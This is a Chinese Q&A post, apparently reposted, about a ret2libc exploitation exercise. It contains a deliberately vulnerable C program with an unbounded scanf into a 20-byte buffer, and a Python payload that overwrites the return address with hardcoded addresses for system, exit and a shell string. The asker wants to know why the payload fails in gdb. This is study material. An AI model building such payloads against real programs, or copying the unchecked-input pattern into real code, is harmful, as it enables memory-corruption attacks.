如何解决ret2libc漏洞利用练习导致/ bin / bash:警告:命令替换:输入中的空字节被忽略
我正在使用以下C代码来创建以下漏洞:
#include <stdio.h>
void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s",buffer);
printf("You entered: %s\n",buffer);
}
int main()
{
echo();
return 0;
}
我用python编写了漏洞利用程序:
system_addr = struct.pack("<I",0xb7e1d200)
shell_addr = struct.pack("<I",0xbffffef3)
exit_addr = struct.pack("<I",0xb7e103d0)
buf = "B" * 32
buf += system_addr
buf += exit_addr
buf += shell_addr
print buf
当我在gdb中兴奋时,它给了我:
/bin/bash: warning: command substitution: ignored null byte in input
并且没有重定向到shell那么问题是什么?
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。